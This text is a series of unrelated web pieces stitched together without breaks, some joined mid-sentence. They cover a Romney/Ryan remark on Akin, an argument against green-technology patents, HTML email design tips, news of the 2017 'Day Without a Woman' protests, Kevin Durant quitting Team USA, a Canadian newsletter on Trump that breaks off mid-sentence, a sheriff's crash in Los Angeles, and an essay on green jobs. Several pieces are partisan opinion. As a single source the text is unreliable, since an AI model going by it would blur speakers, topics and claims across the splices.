“Congressman’s Akin comments on rape are insulting, inexcusable, and, frankly, wrong,” Romney said. “Like millions of other Americans, we found them to be offensive.”
But the Romney campaign forced Ryan to pretend otherwise:
His statements were outrageous, over the pail. I don’t know anybody who would agree with that. Rape is rape period, end of story.Want to make green technology work? To revolutionize entertainment? Concerned about free speech? Want to reduce income inequality? To break the stranglehold of the multinationals over political power? To unleash a wave of innovation that will make the establishment of the Internet look like a calm summer day? A Utopian pipe dream. Yet all it takes is a majority vote in both houses of Congress and the signature of the President to abolish impediments to creativity left over from the medieval era: patents and copyrights. Sound absurd? Read on.
Abolishing so-called intellectual "property" (IP) won't solve all social ills -- yet perhaps it will save the whales. In a series of posts based on research with my co-author Michele Boldrin, we are tackling one issue at a time. Our first post looked at health care. Here we examine green technology, specifically technologies designed to mitigate global warming.
There are many solutions to the problem of global warming -- ignoring it is popular with the extreme right, and moving back to the stone age is of equal interest to the extreme left. For the rest of us improving technology seems like a good place to start. Even if dumping carbon dioxide in the atmosphere turns out not to lead to global warming, the ill-health effects of pollution aren't controversial.
So "green" patents seem to be a no-brainer. Want to encourage technology? Give people monopolies for inventing things. If you think that way, a headline here on the Huffington Post "China Surprising Leader In Green-Technology" may surprise you as much as it does the author. After all China isn't famous for the strong enforcement of patent laws. It isn't a surprise to Michele and me -- we've been beaten over the head time and again by empirical economists discovering that patents do not encourage innovation.
Patents do not lead to more innovation? In chapter 8 of our book Against Intellectual Monopoly we went through all the economic studies we could find: 22 studies by authors ranging from Arora to Zoz. We can sum them up by quoting Lerner's study of 150 years worth of evidence: "Consider, for instance, policy changes that strengthen patent protection...this evidence suggests that these policy changes did not spur innovation."
Why not? Ben Sann, a Washington University undergraduate found an example that clarifies the issue. HydroVenturi is a London-based energy company that was willing to invest $4 million in building a demonstration tidal power unit in the San Francisco bay. It never did. Why not? Because the patent rights to the technology are under dispute, and investors worried about prolonged litigation withdrew their support.
Patents are a double-edged sword. They reward inventors. But they also give existing rights holders the ability and incentive to interfere with other inventors creating enormous uncertainty -- "If we succeed will patent trolls come out of the woodwork to sue us?"
In the case of carbon emissions, the problem is worse. Rich countries produce a lot, and big countries such as China and India are quickly becoming richer. Carbon pollution, however, does not respect international boundaries. So you would think that the goal of countries -- such as ours -- that are already rich, would be to make it as easy as possible for poorer countries to reduce their carbon emissions. Are you surprised then that on June 10, 2009 the United States House of Representatives "voted overwhelmingly to establish new U.S. policy that will oppose any global climate change treaty that weakens the IP rights of American 'green technology'"? That Jonathan Pershing - deputy special envoy for climate change at the US Department of State - says unequivocally that we will will charge poor countries like Bolivia all the market can bear for our green patents?
We can put this "beggar they neighbor" policy into perspective by describing a study published in the prestigious American Economic Review by Chaudhuri, Goldberg and Jia about the antibiotic quinolones. They estimate that every dollar we squeeze out of impoverished Indian consumers by forcing our patent system on them and driving up the price of drugs costs them seven dollars. Think of this in the context of global warming. Who pays the seven dollars then? The cost of global warming isn't just paid by the Indians -- it's paid by all of us. If we have to pay inventors seven dollars for every dollar worth of global warming reduction...I'm sure Siberia will be a nice place to live some day.
If you are interested in patents and green technology there is an entire blog dedicated to the subject. Here you can find, well, not so much innovation, as endless reports of the lawsuits they generate..."P3 alleged that UPM's plug-in energy meters [which allows consumers to determine how much energy particular appliances are using] infringe U.S. Patent No. 6,095,850." We also find out useful facts. How many patents is the integrated gasification combine cycle -- essential for clean coal technology -- wrapped in? Answer: 342 patents.Like many other web designers, I thrive on coding beautiful yet flexible web pages that display virtually identical in every web browser. Unfortunately, designing email newsletters sends you back ten years. Deprecated tags, tables, inline styling, oh my! In this article, I'll list six methods that will immediately improve your email layouts.
Email Newsletters.
As a new hire at opt-in email marketing service AWeber, my first assignment was to create a couple dozen new HTML email newsletter templates for our customers. For the clean code-loving web designer, HTML email is a reminder of a dismal past. After weeks of work and countless headaches, I delivered the goods. I also learned a lot about designing for email.
To help you avoid a lot of the headaches I encountered during testing, here are 15 things you can do to create great-looking HTML emails.
Set Up Multiple Email Accounts For Testing!
If you only take away one tip from this article, please let it be this. As designers, we spend a lot of time creating the perfect user experience on the web and testing that experience across multiple platforms. Yet when it comes to email, too many of us fail to deliver the same attention to detail.
Much like testing for the web, creating an email layout that displays the same in every email client can be an absolute nightmare.
In order to be sure your subscribers will receive your message as intended - test in everything you can!
This includes but is not limited to:
Yahoo
Gmail
AOL
Windows Live Hotmail
Outlook 2007
Outlook 2003
Lotus Notes
Thunderbird
Entourage
Mac Mail
But wait - there's more!
Some of these email clients have multiple versions, each of which will render CSS and HTML differently.
old version of Yahoo. This is part of an HTML email being rendered by the
new version of Yahoo. Here is the exact same email being rendered by the
Subtle differences, I'll admit. But enough of these subtle differences and it adds up to a sloppy design. And if that's not enough... the user's internet browser can also play a part in how your design renders.
Now before you throw your computer out the window in frustration... these next few steps can help you rule out a majority of testing problems.
Design Your Emails To Degrade Gracefully
I'm amazed to see some of the largest advertisers breaking basic usability rules regarding HTML email.
Here are some guidelines to live by:
Never rely on images to communicate important information... especially one big one. A huge majority of email clients have images turned off by default. Unless the user takes some initiative... you just sent them a nice blank message.
A huge majority of email clients have images turned off by default. Unless the user takes some initiative... you just sent them a nice blank message. Never rely on background images to make text readable. Make sure your text has enough contrast with or without images enabled. Outlook 2007, for example, will not display background images in table cells even if images are turned on.
Make sure your text has enough contrast with or without images enabled. Outlook 2007, for example, will not display background images in table cells even if images are turned on. Provide a link for people who are having trouble viewing your message Ok, this isn't absolutely necessary - but its thoughtful to give your subscribers the option to view your message in their web browser (especially if it's a particularly HTML heavy design).
Ok, this isn't absolutely necessary - but its thoughtful to give your subscribers the option to view your message in their web browser (especially if it's a particularly HTML heavy design). Use ALT tags on important images I can't stress this enough! With images disabled by default, descriptive ALT tags are your last, best chance to convince a user to enable images.
I can't stress this enough! With images disabled by default, descriptive ALT tags are your last, best chance to convince a user to enable images. When using ALT tags, cut the clutter. Fill in the ALT tags that matter and leave the others blank
(Note: I didn't say exclude them!)
This is a header of an email I received from Discovery Health:
I took this screenshot from my Gmail account - before enabling images. See how the ALT text "bullet" and "spacer" get in the way?
Adding ALT tags to elements that only serve for design purposes clutters the design and distracts from your message.
Use Tables to Structure Your Layout
Huh? I spent all this time learning CSS and now I have to go back to tables? When it comes to email design, tables are hot like its 2003 - they're the closest thing to standards we have.
A few things to take note of:
Make sure to set all available table attributes where possible. This includes cellpadding, cellspacing, border, valign, width and height.
This includes cellpadding, cellspacing, border, valign, width and height. Nested tables are your friend. Make sure to use proper indentation for clean easy to read code.
Make sure to use proper indentation for clean easy to read code. Use the background attribute on a table cell to set background images. This is the easiest way to get passed backgrounds not displaying in Gmail. Note: Your background images will behave as if they were tiled... so plan accordingly.
This is the easiest way to get passed backgrounds not displaying in Gmail. Be aware that background images applied to tables or divs are not supported by Outlook 2007 In fact, the only way to use a background image in Outlook 2007 is to apply it to the body of an email, which of course isn't supported by other email clients such as Gmail, Yahoo, or Windows Live Hotmail. Awesome, right? I didn't think so either.
Use Inline Styles When Coding Your CSS
Some popular email clients ignore the code inside your head tags. Gmail and Hotmail are particular culprits that come to mind.
With your layout set up in table format, it's time to apply styles to your text and images.
Here are some tips and tricks to ensure your message looks nearly identical in every
browser:
Use break tags as a replacement for vertical padding To alter the amount of space they consume try wrapping them in span tags and set a smaller/larger font size.
To alter the amount of space they consume try wrapping them in span tags and set a smaller/larger font size. Use inline styles repetitively and often. Applying a font tag to a parent table doesn't necessarily mean it will carry that attribute down to all of its children. Make sure to set inline styles on all of your HTML elements.
Applying a font tag to a parent table doesn't necessarily mean it will carry that attribute down to all of its children. Make sure to set inline styles on all of your HTML elements. Apply detailed inline styles to links Especially for Gmail users - you must set specific styles to every link. Otherwise, they will inherit the default font-family, size and color set by each user's browser.
Especially for Gmail users - you must set specific styles to every link. Otherwise, they will inherit the default font-family, size and color set by each user's browser. Wrap your images in span tags and set font attributes to style your ALT text accordingly. This allows you to style your ALT text, making it more readable when images are disabled.
Use Gmail's Inbox Formatting To Your Advantage
Did you know that the subject line of every email sent to a Gmail account is followed by the first snippets of text within that particular email?
Why not use this to your advantage!
Above is a picture from my Gmail inbox.
Both newsletters have the same header content.
Only one difference - Newsletter 1 takes advantage of Gmail's inbox formatting.
Here's how I did it:
Insert a 1px x 1px image as the very first element in your email. Wrap the image in span tags setting the font color to the same as the background. Whatever text you put in the ALT tags for your 1px x 1px image will now replace that google snippet in the users inbox.
It's as easy as that! This subtle difference will set your message apart from other emails in the reader's inbox.
So, Now What?
I've done my best to share some things I do when creating HTML emails. It's your turn!
How do you go about designing, coding and testing your email campaigns?
Any recommendations, tips or tricks you would like to add will be greatly appreciated by your fellow design community.EMBED >More News Videos Many American women stayed home from work, joined rallies or wore red Wednesday to demonstrate how vital they are to the U.S. economy.
On International Women's Day, join me in honoring the critical role of women here in America & around the world. — Donald J. Trump (@realDonaldTrump) March 8, 2017
Women were encouraged to take a stand on International Women's Day, to show their value in the community. "A Day Without a Woman" protests were held across the country Wednesday, hoping to send a message to the world about equality in the workplace.Michigan Avenue could feel the economic impact of this movement. Local businesses and others across the nation prepared for the day, which encourages women not to spend money or to stay home from work to show their economic strength and impact on American society.A group of female CTA employees rallied for better working conditions at the transit authority's headquarters in Chicago. They were joined by their male colleagues in solidarity. They called for things like better bathroom conditions and better treatment after maternity leave."We come together in solidarity. Come out like this and we'll be alright. At least they hear us," said Betty Evans, a CTA employee."It's really important that we all should get equal treatment because we all work and we are all trying to feed our families," said Vanessa Garcia, another CTA employee.The CTA said it is dedicated to providing a safe and comfortable working environment for all employees. Officials also said they are addressing some of the issues in contract negotiations.Technology hub 1871 in the Merchandise Mart celebrated the day with a panel full of top female leaders in the city, to inspire other women looking to make a difference."It's a chance for us to showcase all of the positive impact that women leaders and women entrepreneurs are making on this community," said Lakshmi Shenoy, Vice President of Strategy and Business Development at 1871.Many of Wednesday's demonstrations organized by the same people who planned the nationwide marches held the day after President Donald Trump's inauguration that drew millions of women into the streets to protest inequality and oppression."I think just like the day that they had, the day without immigrants. I think the more we stand together, people will take notice. They have to take notice," said Linda Diguardi, who participated in the Women's March.Many American women stayed home from work, joined rallies or wore red Wednesday to demonstrate how vital they are to the U.S. economy, as International Women's Day was observed with a multitude of events around the world.The Day Without a Woman protest in the U.S. was put together by organizers of the vast women's marches that drew more than 1 million Americans the day after President Donald Trump's inauguration.The turnout on the streets this time was much smaller in many places, with crowds often numbering in the hundreds. There were no immediate estimates of how many women heeded the call to skip work."Trump is terrifying. His entire administration, they have no respect for women or our rights," said 49-year-old Adina Ferber, who took a vacation day from her job at an art gallery to attend a demonstration in New York City. "They need to deal with us as an economic force."The U.S. event - inspired in part by the Day Without an Immigrant protest held last month - was part of the U.N.-designated International Women's Day.In Warsaw, thousands of women showed Poland's conservative government red cards and made noise with kitchenware to demand full birth control rights, respect and higher pay.In Rome, hundreds of women marched from the Colosseum to demand equal rights. Thousands marched in Istanbul, despite restrictions on demonstrations imposed since last year's failed coup. Turkish police did not interfere.Women also held rallies in Tokyo and Madrid.Germany's Lufthansa airline arranged for six all-female crews to fly into Berlin. Sweden's women's soccer team replaced the names on the backs of the players' jerseys with tweets from Swedish women. Finland announced a new $160,000 International Gender Equality Prize.A crowd of about 1,000 people, the vast majority of them women, gathered on New York's Fifth Avenue in the shadow of Trump Tower. Women wore red and waved signs reading "Nevertheless she persisted," ''Misogyny out of the White House now" and "Resist like a girl."School in such places as Prince George's County, Maryland; Alexandria, Virginia; and Chapel Hill, North Carolina, canceled classes after hundreds of teachers and other employees let it be known they would be out. In Providence, Rhode Island, the municipal court closed for lack of staff members.In Washington, more than 20 Democratic female representatives walked out of the Capitol to address a cheering crowd of several hundred people.Dressed in red, the lawmakers criticized efforts to repeal the Affordable Care Act and eliminate federal funding for Planned Parenthood.House Minority Leader Nancy Pelosi encouraged more women to go into politics, saying, "You have marched for progress. Now you must run for office."A few hundred people gathered on the lawn outside Los Angeles City Hall to rally for women's rights. Julie D'Angelo took the day off from her job in music licensing, saying she wanted to stand for those women who can't afford time away from work or are too intimidated to ask for the day off.Hundreds of women dressed in red and holding signs with photos of their local lawmakers gathered at the Utah Capitol to remind legislators they are closely watching how they handle women's issues.In Denver, several hundred people marched silently around the state Capitol. Kelly Warren brought her daughters, ages 3 and 12."We wanted to represent every marginalized woman whose voice doesn't count as much as a man's," said Warren, a sales associate in the male-dominated construction industry.Some businesses and institutions said they would either close or give female employees the day off.The owners of the Grindcore House in Philadelphia closed their vegan coffee shop, where eight of the 10 employees are women."The place definitely wouldn't run without us," said Whitney Sullivan, a 27-year-old barista who planned to attend a rally.In New York, a statue of a fearless-looking girl was placed in front of Wall Street's famous charging bull sculpture. The girl appeared to be staring down the animal. A plaque at her feet read: "Know the power of women in leadership. SHE makes a difference."As part of the Day Without a Woman protest, women were also urged to refrain from shopping.Some criticized the strike, warning that many women cannot afford to miss work or find child care. Organizers asked those unable to skip work to wear red in solidarity.Monique LaFonta Leone, a 33-year-old health care consultant in Colorado Springs, Colorado, had to work but put on a red shirt and donated to charity, including Planned Parenthood."I have bills to pay, but I wanted to make my voice heard, no matter how quiet," she said. "I also wanted to make a statement to say that women are doing it for themselves. We're out here in the workforce and making a difference every day."Trump took to Twitter to salute "the critical role of women" in the U.S. and around the world. He tweeted that he has "tremendous respect for women and the many roles they serve that are vital to the fabric of our society and our economy."First lady Melania Trump marked the day by hosting a luncheon at the White House for about 50 women.The White House said none of its female staff members skipped work in support of International Women's Day.Lovely Monkey Tattoo, a female-owned tattoo parlor in Whitmore Lake, Michigan, offered tattoos with messages like "Nevertheless, She Persisted" - a reference to the recent silencing of Sen. Elizabeth Warren on the Senate floor - with proceeds going to Planned Parenthood.Women make up more than 47 percent of the U.S. workforce and are dominant among registered nurses, dental assistants, cashiers, accountants and pharmacists, according to the census.They make up at least a third of physicians and surgeons, and the same with lawyers and judges. Women also account for 55 percent of all college students.At the same time, American women earn 80 cents for every dollar a man makes. The median income for women was $40,742 in 2015, compared with $51,212 for men, according to census data.NBA.com staff reports
2014 NBA MVP Kevin Durant will withdraw from the USA Men’s National Basketball team prior to the FIBA World Cup in Spain:
Durant, I'm told, will cite mental and physical exhaustion when the decision to leave Team USA for this summer is made official — Marc Stein (@ESPNSteinLine) August 7, 2014
“Kevin reached out to Coach K & myself this afternoon & expressed that he is just physically & mentally drained from the season,"- Colangelo — Marc J. Spears (@SpearsNBAYahoo) August 7, 2014
"(Durant) felt coming out of camp that he was not prepared to fulfill the commitment he made to the team,” said USA's Jerry Colangelo. — Marc J. Spears (@SpearsNBAYahoo) August 7, 2014
Durant statement: "I need to take a step back & take some time away, both mentally & physically in order to prepare for the upcoming season" — Marc J. Spears (@SpearsNBAYahoo) August 7, 2014
Durant: It was a "extremely difficult decision" & "I could not fulfill my responsibilities to the team from both a time & energy standpoint" — Marc J. Spears (@SpearsNBAYahoo) August 7, 2014
Still some offensive weapons w/ Rose, Curry, Harden & Davis, but there's no replacing KD. — John Schuhmann (@johnschuhmann) August 7, 2014
Parsons is only real 3/4 left on the roster. Other SF options are smaller. Could mean big minutes for Faried. — John Schuhmann (@johnschuhmann) August 7, 2014
Durant released the following statement:
“This was an extremely difficult decision as I take great pride in representing our country. I know that I owe it to my USA Basketball teammates to be totally invested in the experience. After going through training camp with USAB, I realized I could not fulfill my responsibilities to the team from both a time and energy standpoint. I need to take a step back and take some time away, both mentally and physically in order to prepare for the upcoming NBA season. I will be rooting for USAB and look forward to future opportunities with them.”
This is another big blow to Team USA after the loss of Paul George and will place added responsibility on Derrick Rose, Stephen Curry and James Harden. It also means Team USA will only need to make three more roster cuts prior to the start of the FIBA World Cup on August 30.
Category: HT News / Tags:, Kevin Durant, USA Basketball / 25 Comments on Durant withdraws from Team USA /This is The Globe's daily politics newsletter. Sign up to get it by e-mail each morning.
POLITICS BRIEFING
By John Ibbitson (@johnibbitson)
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The American political class is obsessed, as it should be, with how a racist ("Build the wall!"), sexist ("her whatever"), isolationist ("America First"), authoritarian ("If I say do it, they're going to do it"), lying (Arab Americans in New Jersey "were cheering as the World Trade Center came down"), hypocritical ("I'm a strong Christian"), cruel ("He was a war hero because he was captured. I like people who weren't captured"), Islamophobic ("I think Islam hates us"), narcissist (take your pick) like Donald Trump could have possibly become the presumptive Republican presidential nominee.
On this side of the border, Mr. Trump matters too. Even if he loses to Hillary Clinton, which the odds heavily favour, the billionaire TV star's candidacy will change Canada's relationship with the United States. Herewith three reasons why Donald Trump's Republican win is bad for Canada, and one reason why it could be good.
Trump threatens Canadian trade: Ronald Reagan supported the Canada-U.S. and George H.W. Bush the North American free-trade agreements. Bill Clinton and George W. Bush were free traders, and Barack Obama launched trade talks with Europe and Pacific nations. But the free-trade consensus has broken down. Ms. Clinton, who is almost certain to win the Democratic presidential nomination, confronts both Democratic challenger Bernie Sanders, who opposes free trade from the left, and Mr. Trump, who on Tuesday called NAFTA "in the history of the world the single worst trade deal ever done." In consequence, Ms. Clinton has become more hawkish on trade, saying she opposes the Trans Pacific Partnership as currently negotiated. Trade represents two-thirds of Canada's GDP, and three-quarters of that trade is with the United States. If the Trump/Sanders opposition to free trade becomes entrenched, Canada will suffer more than most from the rising protectionist tide.
At a press conference Wednesday, Prime Minister Justin Trudeau noted that "a bit of rhetoric around protectionism" is common in any election campaign, but that the rhetoric "tends to dissipate" afterward.
We can only hope.
Trump undermines global security: The pax americana has kept the globe at peace (even the Korean and Vietnam wars were brushfires, by historic standards) for seven decades since the end of the Second World War. But Mr. Trump's ugly threats to weaken or scrap NATO as president, to abandon America's alliances with Japan and South Korea ("let them protect themselves") and to launch a trade war against China strengthens the hand of Russia and other geopolitical rivals. Mr. Trump's threats may never become policy, but they serve as a warning that a strong isolationist current pulses through contemporary America. And that makes everyone less safe.
Trump will make Canadians insufferable. We are always at our worst when we indulge the strain of anti-Americanism that is as old as the country itself. Now the Republicans have picked the most contentious presidential nominee since the Southern Democrats nominated John C. Breckinridge in 1860 on a platform of extending slavery into the territories. Canada, in contrast, has a rock-star prime minister in Mr. Trudeau, who has adopted a far more compassionate approach to the Syrian refugee plight than the United States, who is deeply committed to fighting global warming (Mr. Trump calls it a "hoax"), and who embraces the Conservative legacy on free trade. It's bound to |
by a thread, Pakistan’s civilian government can ill afford the challenge of trying to sell a US ground invasion to the public.
Still, popular sentiment will demand a US response to the incident, no matter how ill-conceived. Escalating the drone strikes against the tribal area would scarcely register as a response at this point, after all, President Obama has done that so many times in his 16 months in office one might imagine it to be a necessary bodily function for him. Whatever options are left, all seem a recipe for sabotaging US relations with Pakistan for a generation or more, and a ground invasion would likely tear the country’s government asunder and leave the US with not just a failed state of 28 million people to contend with, but a pair of bordering failed states with a combined population of nearly 200 million.
Last 5 posts by Jason DitzFederal prosecutors in Manhattan on Friday subpoenaed the Port Authority of New York and New Jersey for records related to potential conflicts of interest involving its chairman, David Samson, a prominent New Jersey lawyer and close political ally of Gov. Chris Christie, according to people briefed on the matter.
On Monday, the subpoena was withdrawn, apparently to clear the way for the investigation to be pursued by federal prosecutors in New Jersey, who had already been reviewing the politically charged closing of access lanes to the George Washington Bridge in September, according to two of those briefed on the matter.
The business dealings of Mr. Samson and his law firm, Wolff & Samson, have come under intense scrutiny as a result of the lane closings and the scandal that ensued, which are the subject of a separate inquiry by federal prosecutors in New Jersey, who are examining the roles of several current and former aides and allies of Mr. Christie.
It was not immediately clear why federal prosecutors in Manhattan, in the office of Preet Bharara, the United States attorney there, had issued the subpoena when their federal counterparts in New Jersey were conducting the bridge inquiry and the related investigation.Copyright by WNCN - All rights reserved Courtesy of American Atheists
Copyright by WNCN - All rights reserved Courtesy of American Atheists
By WNCN Staff - RALEIGH, N.C. (WNCN) - New holiday billboards put up by an Atheist organization in North Carolina and Colorado might cause some drivers to do a double take.
American Atheists, a group that "fights to protect the absolute separation of religion from government and raise the profile of atheism in the public discourse," has set up holiday billboards in Kernersville, near Winston-Salem, and Colorado Springs, Colorado, according to a release from the organization.
The billboard features a jolly Santa Claus urging viewers to "Go ahead and skip church! Just be good for goodness' sake." The ad ends with "Happy Holidays!" instead of Merry Christmas.
"We want people to know that going to church has absolutely nothing to do with being a good person," said David Silverman, president of American Atheists. "The things that are most important during the holiday season-spending time with loved ones, charity, and being merry-have nothing to do with religion."
According to the organization, billboards they put up last year featured a child writing a letter to Santa, telling him that all she wanted for Christmas was to skip church.
"This year, Santa wrote back," Silverman said.
With nearly a quarter of Americans claiming no religious affiliation, this year's holiday billboard is designed to reach the millions of people who still attend church occasionally and call themselves religious, but have doubts about their beliefs, the release said.
"There are tens of millions of atheists in this country. We're everywhere. And we don't need church or gods to tell us how to be good people," said Nick Fish, national program director of American Atheists.
The billboards in North Carolina are located on Interstate 40 Business (eastbound) near the Kerner Village Shopping Center between Winston-Salem and Greensboro.
The second is further east and faces the westbound side of the highway near the N.C. Highway 66 intersection.
The billboards will run through the month of December.That's disturbing in part because because while so much of Mac Donald's argument is somewhat shallow, there is a grain of it that holds up. African Americans are indeed disproportionately the targets not just of institutional racism but of violent crime. And few police officers are likely outright racial bigots, or at least no more so than society at large; indeed, abuses alleged against police in cities from Los Angeles to Baltimore focus on officers and victims of all races, so the argument that police misconduct is a function of racist cops is simplistic at best. Police are called on to do the largely thankless work of a society that continues to struggle simply to recognize, let alone purge, the racial attitudes and disparities structured into American life.Spread the love
Los Angeles, CA — Two children were killed and their mother severely injured Thursday night when a Los Angeles County Sheriff’s deputy plowed them down on the sidewalk after he lost control while responding to a call.
The three-car crash occurred about 7:30 p.m. in the 800 block of South Indiana Street in Boyle Heights. The impact thrust the sheriff’s vehicle onto the sidewalk, where it ran into a mother and her two children, ages 7 and 9, said Los Angeles police Officer Drake Madison, an LAPD spokesman, according to the LA Times.
According to the report in the Times:
A security video obtained by The Times from Green Mill Liquor Store shows the moments after a sheriff’s SUV drove onto the sidewalk and hit the pedestrians. The clip shows the sheriff’s SUV after it had already struck at least two people. The vehicle appears in the frame from the side of a building. The video shows the split second after the front of the SUV – with its emergency lights on – hit a trash can. A person rolls into the frame on the sidewalk. Because the video has no audio, it’s unclear if the cruiser’s sirens were on. Just moments before, the video shows a man walking through a parking lot next to the building abruptly turning and running toward the street just as the SUV appears, apparently reacting to the sound of the crash. The clip is about eight seconds long. Images from the scene show the crumpled right front side of the SUV and the tire folded under its mangled frame. One child died at the scene, and one died at a hospital, he said. The mother is in critical condition, Madison said.
The crash severely injured seven other people as well. According to Madison, in addition to two deputies and three pedestrians, someone from one of the other two cars was transported to a hospital.
Although police have yet to claim who is at fault in the crash, we can assume that the officer was travelling at a high rate of speed through the area on his way to the call.
Video in tweeted article below.
Video shows moments after sheriff's SUV hits pedestrians on sidewalk in Boyle Heights https://t.co/m9juLNiPrG — Los Angeles Times (@latimes) November 17, 2017
Police car crashes are an unfortunately common reality. In fact, just one day prior, in a separate incident in Perris, a girl was killed Wednesday night after a collision with a Riverside sheriff’s car near Perris Boulevard and Nuevo Road.
The deputy hit the pedestrian while responding to an unrelated call, said Riverside Sheriff’s Deputy Mike Vasquez. He would not release the girl’s name or age, saying only that she was a juvenile and that the deputy inside the patrol unit was unharmed, reports the Times.
As TFTP reported last month, Joan Raye, 78, is lucky to be alive after a Franklin County Sheriff’s made the dangerous decision to speed over 80 mph through a neighborhood and plowed into her vehicle. In spite of the fact that the deputy hit her, however, this poor elderly woman is now being charged with a crime for his negligence.
As TFTP previously reported, a shocking report showed just how dangerous being an innocent bystander can be when there is a police chase going on.
On average, according to the report, one person every day is killed during a high-speed chase.
To put this into perspective, that’s larger than the number of people killed by floods, tornadoes, lightning and hurricanes — combined.
Contrary to popular thinking, high-speed chases aren’t only dangerous for those involved. Innocent bystanders are all too often the victims of these reckless pursuits.
According to the report, more than 5,000 bystanders and passengers have been killed in police car chases since 1979. Tens of thousands more were injured as officers repeatedly pursued drivers at high speeds and in hazardous conditions.
Aside from the 5,000 completely innocent lives lost, an additional 6,300 fleeing ‘suspects’ were also killed, bringing the total to 11,506 dead since 1979. Even this shockingly large number is likely an understatement, according to the report. The Department of Transportation’s National Highway Traffic Safety Administration (NHTSA) uses police reports to determine if a crash is chase related, and many of the reports do not disclose that a chase had occurred at all.By Caleb Goods - Green Agenda, March 19, 2016
It is not hard to imagine that the world of work is a place of deep ecological impact that will be fundamentally changed by endeavours to green the economy. The implications of climate change for all workers and employers are enormous: the International Labour Organisation (ILO) suggests that 80 per cent of Europe’s CO 2 emissions come from industrial production. Thus, the world of work is a critical site of ecological harm and therefore needs to be a site of deep environmentally focused transformation. The interconnection between work and climate change has lead Professor Lipsig-Mumme to conclude, ‘[g]lobal warming is likely to be the most important force transforming work and restructuring jobs in the first half of the twenty-first century’.1 The reality is all work and industries must fundamentally change, and will be changed by the climate we are creating as we enter a new geological epoch – the Anthropocene2 Climate change is challenging the future of work in highly polluting industries, such as coal, and climate change related events are already impacting workers. For example, a 2015 heat wave in India resulted in taxi unions in Kolkata urging drivers to avoid working between 11am and 4pm to reduce the risk of heat exhaustion.
The question of how work-related environmental impacts could be reduced is urgent. It is clear that all jobs and all workplaces will need to be significantly greener to preserve a liveable planet. I am not suggesting that jobs in highly polluting fossil fuel industries can be greened, greening work will require industry restructuring and transformation, but it will demand the closing down of some industries in the medium to longer term. Thus, the transition I am referring to here, the “greening” of our economy, is a societal transformation whereby economic, social and political processes are shifted away from an economic growth imperative to an ecological feasibility focus that demands work, and all that this encompasses, is both environmentally and socially defensible.
Unfortunately, the complexity around transitioning the Australian economy and work to a greener future is currently skirted over in political discussions, and tends to be presented as a straightforward transition via environmental efficiency, greener consumer lifestyles and technologies, or overlaying broad environmental aims onto existing industries and jobs. More particularly, the challenges for workers in this transition are rarely dealt with adequately. In what follows I argue that continuing to leave workers’ concerns aside is an unacceptable option for workers, the environment, the environment movement and government.
Dominant Perceptions of the Work Environment Challenge
Instead of dealing with the complexities of transitioning the Australian economy in a greener direction we largely see two counterposing and simplistic positions presented to us. The first position argues that jobs and economic growth should triumph over ecological interests and thus workers should just continue doing what they do. From this perspective nature is reduced to an asocial input into the economy,3 what Wright and Nyberg4 describe as a process of creative self-destruction. Thus, the juggernaut of economic growth ignores the planetary ‘limits to growth’5 and it is therefore, as Naomi Klein’s recent book states, ‘Capitalism vs. the Climate’.6 Connecting this dynamic back to the world of work, workers and their representatives, as well as employers, are inclined to preserve the existing ecologically destructive dynamic, as they both tend to benefit, in the short-term at least, in the form of job creation, wages and profit, from expanding, or at a minimum maintaining, economic growth and associated processes. It can be argued that this overarching dynamic is the source of the tension between workers and the environment or the ‘jobs versus environment’ conflict. The ‘jobs vs the environment’ frame is wielded by those with an interest in maintaining the status quo and preventing action to transform to a cleaner economy using division as a tactic. Within the Australian context we have seen this dynamic play out in the hostile responses of some politicians, unions and businesses to policy action on climate change:
‘Goodbye. They [Whyalla and Port Pirie] will be wiped off the map’ [by the carbon tax], Wayne Hanson, Australian Workers Union state secretary in South Australia.
‘Lets Cut Emissions Not Jobs’, Australian Coal Association Advertising Campaign.7
‘There will be a 25 per cent increase in electricity prices, up to a five per cent rise in grocery prices, 126,000 jobs lost in regional Australia and 16 major coalmines closed, with 10,000 jobs lost in the coal industry’, former Prime Minister Abbott talking about the carbon tax.
A ‘unilateral carbon price will be detrimental to our international competitiveness, export jobs and economic expansion opportunities’ Australian Chamber of Commerce and Industry.
The second position, or counterpoint to the jobs versus environment tension, is to talk about the millions of new green jobs that will be created by emerging industries and technologies as capitalism unleashes its technological and organisational dynamism to resolve the ecological crises. In essence this position suggests that workers need not feel threatened about the loss of their current jobs, as these will quickly be replaced by shiny new green jobs. There are many examples of this argument. Former Treasurer Swan argued that,
‘introducing an emissions trading scheme is all about creating the jobs of the future, all about investment in renewable energy and the jobs that come with it. It is all about jobs’.
The Australian Conservation Foundation and the Australian Council of Trade Unions have released a number of reports with conclusions like,
‘[a]s this report Creating Job – Cutting Pollution demonstrates, Australia could create more than 700,000 jobs by 2030 by taking strong action now to reduce pollution’.
More recently, the research organisation ClimateWorks Australia, in partnership with the World Wildlife Foundation Australia, released a report suggesting that Australia could have it all, zero carbon emissions at the same time as maintaining strong economic and job growth.
Certainly transitioning to a greener economy is in reality the only option, if we want to maintain an inhabitable planet for humanity; however, these discussions are often based on wishful thinking that fail to deal adequately with the challenge of transitioning workers and industries into the new greener economy. For example, in a 2010 interview I conducted with a Greens’ Senator the following point was made:
‘My view is the same with coalminers, people are not coalminers they’re drivers of certain machines, they are computer system operators, engineers, maintenance workers. So it’s about actually breaking down what people actually do and finding ways to shift them into the new manufacturing and process and assembly lines of the future.’
While I do not fundamentally disagree with the Senator’s sentiment, it did raise a serious concern in my mind. Transitioning workers into greener areas of employment is a much more complex challenge than shifting workers from one industry to another. Moreover, such a simplistic approach to workers in advocating for a green transition could be interpreted as being indifferent to working people’s lives. Work is more than just a job or skillset, discussing the creation or destruction of tens of thousands of jobs obscures that these numbers are people. Work is central to people’s identity and social relationships. On average, Australians spend approximately 35 hours per week in paid employment. Work and workplaces fundamentally shape our lives and contemporary society. It is therefore not as simple as shutting down industries and creating new ones or telling a coalminer that because you currently do x you can do y in a greener industry.
As noted above, the complexity around transitioning the Australian economy to a greener future is currently skirted over in Australian political discussions and this risks leaving the Greens and other political parties as well as major elements of the environment movement mentioned earlier, who advocate for the millions of new green jobs with a significant ‘credibility gap’. The concerns and interests of workers in the context of environmental transition need to be taken more seriously. It should be taken more seriously because we need to ensure that in the shift to a greener economy people have access to decent well paying jobs. Work should be taken seriously because worker opposition to environmental actions, based on concerns for job security and economic wellbeing, are key roadblocks to achieving a greener economy. Workers interests should be engaged with because filling what I have called the ‘credibility gap’ with workers could help build a powerful coalition for environmental transformation, particularly as workers become less wedded to voting for the Labor Party, as recent elections highlight.
